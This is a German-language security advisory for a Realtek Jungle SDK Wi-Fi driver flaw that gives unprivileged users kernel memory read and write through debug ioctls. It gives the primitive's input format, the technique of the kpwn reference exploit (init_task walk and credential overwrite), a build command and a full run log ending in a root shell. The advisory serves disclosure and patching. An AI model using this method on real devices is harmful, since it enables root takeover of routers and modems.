
CVE-2026-36355: Realtek rtl819x Jungle SDK – Nicht authentifizierter Kernel-Speicher-Lese-/Schreibzugriff über Debug-ioctls
Der WLAN-Kernel-Treiber rtl8192cd im Out-of-Tree-„Jungle SDK“ von Realtek rtl819x setzt zwei IOCTLs — write_mem (0x89F5) und read_mem (0x89F6) - ohne Zugriffskontrollprüfungen frei. Jeder lokale Benutzer, der eine vom Treiber unterstützte drahtlose Netzwerkschnittstelle öffnen kann, kann beliebigen virtuellen Kernel-Speicher lesen oder schreiben, was direkt zu Root führt.
Die Handler werden durch _IOCTL_DEBUG_CMD_ in 8192cd_cfg.h gesteuert, das bedingungslos definiert ist (kein #ifdef DEBUG), sodass der Debug-Befehlssatz in allen Produktions-Builds einkompiliert wird.
Ein Referenz-Exploit (kpwn) erreicht uid=0 aus einer unprivilegierten Shell, mit null fest codierten Adressen - das task_struct-Layout und der Ort von init_task werden zur Laufzeit automatisch erkannt, was es über Kernel-Versionen und OEM-Builds portabel macht.
Die Schwachstelle befindet sich im Realtek rtl819x Jungle SDK-Kernel-WLAN-Treiber, in allen bekannten Versionen bis einschließlich v3.4.14B. Zum Zeitpunkt der Offenlegung gibt es keinen Fix. Mainline-Linux rtlwifi / rtw88 / rtw89 sind andere Codebasen und nicht betroffen.
Der gemeinsame Treiberkern wird in mehrere Varianten kompiliert (rtl8192cd, rtl8192es, rtl8192ee, rtl8192fe, rtl8188ee usw.). Jeder Jungle-SDK-Build, der den WLAN-Treiber enthält, ist betroffen.
Das Realtek Jungle SDK wird im Rahmen von OEM-Verträgen weit verbreitet weitergegeben. Zu den Anbietern, die in der Anbieterliste von CVE-2021-35395 dokumentiert sind (die eine andere Userspace-Komponente desselben SDK betraf), gehören D-Link, TOTOLINK, Tenda, NEC, I-O DATA, Elecom, Buffalo, Humax, H3C und IP-COM. Ob jede einzelne Produktlinie den anfälligen Kernel-Treiber ausliefert, erfordert eine Prüfung der produktspezifischen GPL-Quellcode-Veröffentlichung; dieses Advisory behauptet das nicht ohne unabhängige Verifizierung.
| Gerät | Ortel 4G LTE CPE (OEM: MeiG Smart FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| Kernel | Linux 3.18.48 |
| Modul |
Bestätigt: Schreiben von 0xDEADBEEF in den .bss-Bereich des Moduls mit Rücklesen und Wiederherstellen; vollständige LPE von uid=1000 auf uid=0 mittels init_task-Walk und Credential-Überschreibung, aus einer unprivilegierten Shell.
In 8192cd_cfg.h:
#define _IOCTL_DEBUG_CMD_
Nicht durch #ifdef DEBUG abgesichert. Der Debug-Befehlssatz ist in jedem Produktions-Build enthalten.
Der rtl_ioctl()-Dispatcher des Treibers leitet 0x89F5 und 0x89F6 (im standardmäßigen privaten IOCTL-Bereich SIOCDEVPRIVATE+5/+6, der von WLAN-Treibern für Herstellererweiterungen verwendet wird) an write_mem und read_mem weiter. Die Handler parsen eine vom Benutzer bereitgestellte Zeichenkette:
dw,<addr>,<count> — liest count 32-Bit-Wörter aus der virtuellen Kernel-Adresse addrdw,<addr>,<count>,<value> — schreibt count 32-Bit-Wörter von value an addrDie Adresse wird mit _atoi(base 16) geparst, an memcpy() gegen den virtuellen Kernel-Adressraum übergeben und das Ergebnis wird per copy_to_user() zurückgegeben. Es gibt:
capable()-Prüfungaccess_ok()-Prüfung der Adressetmpbuf1) in .bssDie Read-Primitive ist auf 128 Bytes pro Aufruf begrenzt; die Write-Primitive akzeptiert beliebige Längen.
Dieselbe Zugriffskontrolllücke gilt für andere Handler im Debug-Satz (Hardware-Register-Lesen/Schreiben über 0x89F3/0x89F4/0x89F8–0x89FD, MIB-Schreibvorgänge über 0x89F1, eFuse-Lesen/Schreiben, Fertigungstestmodus). Sie sind über denselben Codepfad erreichbar und verdienen eine vollständige Prüfung durch jeden, der diesen Bug patcht.

Referenz-Exploit kpwn.c (zusammen mit diesem Advisory veröffentlicht):
task_struct-Offsets (comm, cred, tasks, pid) durch Durchlaufen von init_task, das selbst per Brute-Force-Scan des Kernel-.data lokalisiert wird./sys/class/net/* auf die Read-Primitive geprüft wird./proc/kallsyms lesbar ist, ~7600 IOCTLs bei kptr_restrict=2 (voller .data-Scan-Pfad). Liefert bei jedem Testlauf bedingungslos eine Root-Shell.# Build:
arm-linux-gnueabi-gcc -static -O2 -o kpwn kpwn.c
# Run as unprivileged user:
$ id
uid=1000(pwn) gid=3003(inet) ...
$ /tmp/kpwn
kpwn — RTL8192CD kernel LPE
[*] Scanning interfaces...
[+] wlan0 — read primitive confirmed
[*] Resolving init_task...
[+] init_task @ 0xc08ecb38
[+] comm=0x3a8 cred=0x3a4 tasks=0x250 pid=0x2c0
[+] cred=0xed3a4500 uid=1000 gid=3003
[*] Overwriting credentials...
[+] uid=0 euid=0 gid=0 egid=0
*** GOT ROOT *** uid=1000 -> 0 (44 ioctls)
# id
uid=0(root) gid=0(root) groups=0(root)
rtl8192es.ko| Datum | 2026-02-23 |